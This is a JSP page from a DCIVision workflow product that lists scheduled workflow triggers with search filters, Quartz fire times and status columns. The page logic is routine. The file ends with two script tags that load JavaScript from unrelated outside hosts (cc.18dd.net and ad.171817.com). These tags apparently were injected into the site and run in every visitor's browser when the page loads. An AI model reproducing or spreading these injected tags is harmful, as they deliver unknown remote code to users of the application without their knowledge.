<%
/*
 * @(#)ListWorkflowScheduleTrigger.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListWorkflowScheduleTrigger.jsp

  This is a ListWorkflowSchedule page.  It shows the active workflow schedule trigger's record in EIP.

    @author             Tony Chen
    @company            DCIVision Ltd
    @creation date      23/12/2004
    @version            $Revision: 1.12.4.15 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.Locale"%>
<%@ page import="java.sql.Connection"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listWorkflowScheduleTriggerForm" scope="request" class="com.dcivision.workflow.web.ListWorkflowScheduleTriggerForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "workflowScheduleTriggerList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"workflow.label.schedule_name", "SCHEDULE_NAME"},
                            {"workflow.columnheader.workflow_code", "B.WORKFLOW_CODE"},
                            {"workflow.label.schedule_type", "SCHEDULE_TYPE"},
                            {"workflow.label.last_fire_time", "PREVIOUS_FIRE_TIME"},
                            {"workflow.label.next_fire_time", "NEXT_FIRE_TIME"},
                            {"workflow.label.last_result", GlobalConstant.NOT_AVAILABLE},
                            {"workflow.label.status", "STATUS"},
                            {"workflow.label.creator", "CREATOR_ID"}
                          };


  String[][] SEARCH_MAP = { {"workflow.label.schedule_name", "SCHEDULE_NAME"},
                            {"workflow.columnheader.workflow_code", "B.WORKFLOW_CODE"}
                            //{"workflow.label.last_fire_time", "PREVIOUS_FIRE_TIME"},
                            //{"workflow.label.next_fire_time", "NEXT_FIRE_TIME"},
                            //{"workflow.label.last_result", "C.WORKFLOW_TRACK_ID"}
                          };

  int     COLUMN_OFFSET = 2;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/


  WorkflowGroup currentGroup = (WorkflowGroup)request.getAttribute("workflowGroup");

  int workflowCount = -1;
  if (!Utility.isEmpty(request.getParameter("workflowCount"))) {
    workflowCount = Integer.parseInt(request.getParameter("workflowCount"));
  }

  int workflowGroupID = -1;
  if(!Utility.isEmpty(request.getParameter("workflowGroupID"))) {
    workflowGroupID= Integer.parseInt(request.getParameter("workflowGroupID"));
  }

  boolean isCurrentDate = false;
  Connection con = null;
  try {
    con = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
    WorkflowScheduleTriggersDAObject workflowScheduleTriggerDAO = new WorkflowScheduleTriggersDAObject(sessionContainer,con);
    isCurrentDate = workflowScheduleTriggerDAO.isCurrentTime(new Integer(workflowGroupID));
  } catch(Exception e) {}

  String returnURL = "ListWorkflowScheduleGroup.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
%>

<script language='javascript'>
<!--
  function CustOpListReset(frm) {
    frm.preFromDate.value = "";
    frm.preToDate.value = "";
    frm.nextFromDate.value = "";
    frm.nextToDate.value = "";

    return OpListReset(frm)

  }

-->
</script>
<!-- Form Section Begin -->
<html:form action="workflow/ListWorkflowScheduleTrigger" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="workflowGroupID"/>
<html:hidden property="workflowCount"/>
<!-- Page Title Section Begin -->
<!-- TODO: Page Title -->
<%--<layout:titleFormat><font class="pageTitle"><layout:pageTitle/> [<%=currentGroup.getGroupName()%>]</font><layout:returnButton>
ListWorkflowScheduleGroup.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>
</layout:returnButton>
</layout:titleFormat>--%>
<!-- Page Title Section End -->
<layout:listBar>
 <div class="button">
 <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
 <%if (workflowCount != 0 && isCurrentDate) {%>
 <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="I" label="common.label.new" link="MaintWorkflowScheduleTrigger.do?workflowGroupID=${listWorkflowScheduleTriggerForm. workflowGroupID}"/>
 <%}else{%>
 <html:colheaderButton label="common.label.new" disable="true"/>
 <%}%>
 <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="D" label="common.label.delete" onClick="return(OpListDelete(listWorkflowScheduleTriggerForm))"/>
 </div>
 <layout:filterControl/>
 </layout:listBar>

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
  <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
  <div>
  <table>
  <tr>
    <td class="filterPanelItem" nowrap>
      <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
   </td>
   <td class="filterPanelItem" nowrap>
      <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
        <html:options listName='criteriaList'/>
      </html:select>
   </td>
   <td class="filterPanelItem" nowrap>
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPressHandler(event);"/>
    </td>
  </tr>
  <tr>
    <td class="filterPanelItem" nowrap>
      <bean:message key='workflow.label.last_fire_time'/>:&nbsp;
    </td>
    <td class="filterPanelItem" nowrap>
      <bean:message key='common.label.access_from'/>&nbsp;<html:datepicker property='preFromDate' onkeypress="onKeyPressHandler(event);"/>
    </td>
    <td class="filterPanelItem" nowrap>
      <bean:message key='common.label.access_to'/>&nbsp;<html:datepicker property='preToDate' onkeypress="onKeyPressHandler(event);"/>
    </td>
  </tr>
  <tr>
    <td class="filterPanelItem" nowrap>
      <bean:message key='workflow.label.next_fire_time'/>:&nbsp;
    </td>
    <td class="filterPanelItem" nowrap>
      <bean:message key='common.label.access_from'/>&nbsp;<html:datepicker property='nextFromDate' onkeypress="onKeyPressHandler(event);"/>
    </td>
    <td class="filterPanelItem" nowrap>
      <bean:message key='common.label.access_to'/>&nbsp;<html:datepicker property='nextToDate' onkeypress="onKeyPressHandler(event);"/>
    </td>
  </tr>
</table>
</div>
<div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listWorkflowScheduleTriggerForm, '${listWorkflowScheduleTriggerForm.sortAttribute}', '${listWorkflowScheduleTriggerForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(CustOpListReset(listWorkflowScheduleTriggerForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listWorkflowScheduleTriggerForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listWorkflowScheduleTriggerForm.getSortAttribute()%>" sortOrder="<%=listWorkflowScheduleTriggerForm.getSortOrder()%>" copyColumn='false'/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="workflowScheduleTrigger" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)workflowScheduleTrigger).getID()%>);" >
    <td align="center">
      <logic:permission right='D'>
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='workflowScheduleTrigger' property='ID'/>" onclick="return(false);">
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:permission>
    </td>
    <td align="center">
      <logic:permission right='E'>
      <logic:equal name='workflowScheduleTrigger' property='status' value='<%=WorkflowSchedule.SCHEDULE_TRIGGER_PENDING_STATUS%>'> <a href="MaintWorkflowScheduleTrigger.do?navMode=E&ID=<bean:write name='workflowScheduleTrigger' property='ID'/>&workflowGroupID=<bean:write name='listWorkflowScheduleTriggerForm' property='workflowGroupID'/>"><html:img src='IconEdit.gif'  align='absmiddle'/></a> </logic:equal><logic:notEqual name='workflowScheduleTrigger' property='status' value='<%=WorkflowSchedule.SCHEDULE_TRIGGER_PENDING_STATUS%>'> <html:img src='IconEditDisable.gif'  align='absmiddle'/> </logic:notEqual>
      <html:img src='IconEditDisable.gif'  align='absmiddle'/>
      </logic:permission>
    </td>
    <td nowrap><a href="MaintWorkflowScheduleTrigger.do?navMode=V&ID=<bean:write name='workflowScheduleTrigger' property='ID'/>&workflowGroupID=<bean:write name='listWorkflowScheduleTriggerForm' property='workflowGroupID'/>"><bean:write name='workflowScheduleTrigger' property='scheduleName'/></a>
    </td>
    <td><bean:write name='workflowScheduleTrigger' property='workflowCode'/></td>

    <td>
      <bean:define id='workflowSchedule' name='workflowScheduleTrigger' property='workflowSchedule' type='com.dcivision.workflow.bean.WorkflowSchedule'/>
      <logic:equal name='workflowSchedule' property='triggerType' value='<%=String.valueOf(WorkflowSchedule.TRIGGER_TYPE_ONCE)%>'>
      <bean:message key='workflow.label.once'/>
      </logic:equal>
      <logic:equal name='workflowSchedule' property='triggerType' value='<%=String.valueOf(WorkflowSchedule.TRIGGER_TYPE_DAILY)%>'>
      <bean:message key='workflow.label.daily'/>
      </logic:equal>
      <logic:equal name='workflowSchedule' property='triggerType' value='<%=String.valueOf(WorkflowSchedule.TRIGGER_TYPE_WEEKLY)%>'>
      <bean:message key='workflow.label.weekly'/>
      </logic:equal>
      <logic:equal name='workflowSchedule' property='triggerType' value='<%=String.valueOf(WorkflowSchedule.TRIGGER_TYPE_MONTHLY)%>'>
      <bean:message key='workflow.label.monthly'/>
      </logic:equal>
      <logic:equal name='workflowSchedule' property='triggerType' value='<%=String.valueOf(WorkflowSchedule.TRIGGER_TYPE_YEARLY)%>'>
      <bean:message key='workflow.label.yearly'/>
      </logic:equal>
    </td>
    <%
      org.quartz.Scheduler sched = com.dcivision.framework.SchedulerFactory.getScheduler();
      org.quartz.Trigger trigger = sched.getTrigger (
                  GlobalConstant.JOB_PREFIX_WORKFLOW_SCHEDULE + ((WorkflowScheduleTriggers)workflowScheduleTrigger).getID(),
                  GlobalConstant.JOB_PREFIX_WORKFLOW_SCHEDULE + "GROUP" );
      //org.quartz.Trigger trigger = com.dcivision.workflow.core.TriggerParser.parse (((WorkflowScheduleTriggers)workflowScheduleTrigger).getWorkflowSchedule());
      if ( trigger != null ) {
        if ( trigger.getPreviousFireTime() != null ) {
          ((WorkflowScheduleTriggers)workflowScheduleTrigger).setPreviousFireTime(new java.sql.Timestamp(trigger.getPreviousFireTime().getTime()) );
        }
        if ( trigger.getNextFireTime() != null ) {
          ((WorkflowScheduleTriggers)workflowScheduleTrigger).setNextFireTime(new java.sql.Timestamp(trigger.getNextFireTime().getTime()) );
        }
      }
     String lastResult = ((WorkflowScheduleTriggers)workflowScheduleTrigger).getLastResult();  // falcon_add_5778
    %>
    <td><bean:write name='workflowScheduleTrigger' property='previousFireTime' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
    <td><bean:write name='workflowScheduleTrigger' property='nextFireTime' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/> </td>
    <!-- <td><bean:write name='workflowScheduleTrigger' property='lastResult'/></td> -->
    <td><%=!Utility.isEmpty(lastResult)?TextUtility.formatNumberWithZeroPrefix(SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKLFLOW_TRACK_ID_FORMAT_LENGTH).intValue(), new Integer(lastResult)):""%></td>
    <td class="bodyVerySmall">
    <logic:equal name='workflowScheduleTrigger' property='status' value='<%=WorkflowSchedule.SCHEDULE_TRIGGER_PENDING_STATUS%>'>
    <bean:message key='workflow.label.schedule_trigger_pending_status'/>
    </logic:equal>
    <logic:equal name='workflowScheduleTrigger' property='status' value='<%=WorkflowSchedule.SCHEDULE_TRIGGER_RELEASED_STATUS%>'>
    <bean:message key='workflow.label.schedule_trigger_released_status'/>
    </logic:equal>
    <logic:equal name='workflowScheduleTrigger' property='status' value='<%=WorkflowSchedule.SCHEDULE_TRIGGER_EXPIRE_STATUS%>'>
    <bean:message key='workflow.label.schedule_trigger_expire_status'/>
    </logic:equal>
    <logic:equal name='workflowScheduleTrigger' property='status' value='<%=WorkflowSchedule.SCHEDULE_TRIGGER_IN_PROGRESS_STATUS%>'>
    <bean:message key='workflow.label.schedule_trigger_in_progress_status'/>
    </logic:equal>
    <logic:equal name='workflowScheduleTrigger' property='status' value='<%=WorkflowSchedule.SCHEDULE_TRIGGER_CANCEL_STATUS%>'>
    <bean:message key='workflow.label.schedule_trigger_cancel_status'/>
    </logic:equal>
    </td>
    <td class="bodyVerySmall"><bean:write name='workflowScheduleTrigger' property='creatorName'/></td>
  </tr>
  </logic:iterate>
  </table>
  </div>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <div class="listStatusBar">
  <layout:pager form="listWorkflowScheduleTriggerForm" name='<%=LIST_NAME%>'>
    <div class="statement"><layout:pagerInfo/></div>
    <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  <!-- Pager Information End -->
</div>
<!-- Table Showing Record List End -->
</html:form>
<!-- Form Section End -->
<script language="JavaScript">
function test(){
  OpList(listWorkflowScheduleTriggerForm, '<bean:write name='listWorkflowScheduleTriggerForm' property='sortAttribute' replace=''/>', '<bean:write name='listWorkflowScheduleTriggerForm' property='sortOrder' replace=''/>');
}
function onKeyPress(){
  if(event.keyCode==13){
    document.listWorkflowScheduleTriggerForm.basicSearchKeyword.focus();
    window.setTimeout('test()',1000);
    //OpList(listWorkflowScheduleTriggerForm, '<bean:write name='listWorkflowScheduleTriggerForm' property='sortAttribute' replace=''/>', '<bean:write name='listWorkflowScheduleTriggerForm' property='sortOrder' replace=''/>');
  }


}
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>